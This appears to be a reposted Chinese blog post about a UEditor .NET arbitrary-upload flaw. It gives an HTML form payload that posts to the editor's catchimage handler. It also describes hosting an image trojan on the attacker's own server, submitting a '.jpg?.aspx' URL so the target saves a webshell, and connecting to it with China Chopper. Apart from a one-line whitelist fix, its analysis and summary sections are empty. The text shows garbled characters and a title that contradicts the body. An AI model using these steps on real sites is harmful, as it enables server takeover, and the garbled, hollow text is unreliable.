ueditor getshell漏洞概述

8月21日，網(wǎng)上爆出ueditor .net版本getshell漏洞，由于只校驗ContentType而沒校驗文件后綴導(dǎo)致getshell。

ueditor getshell漏洞重現(xiàn)

Payload：

<form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”>

<p>shell addr:<input type=”text” name=”source[]” /></p >

<input type=”submit” value=”Submit” />

</form>

圖片馬x.jpg放在自己服務(wù)器上

提交http://www.domain.top/x.jpg?.aspx

菜刀連接：

ueditor getshell修復(fù)方案

增加文件擴展名校驗（白名單）

ueditor getshell漏洞分析

總結(jié)

以上是生活随笔為你收集整理的ue编辑器php漏洞:ueditor getshell的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。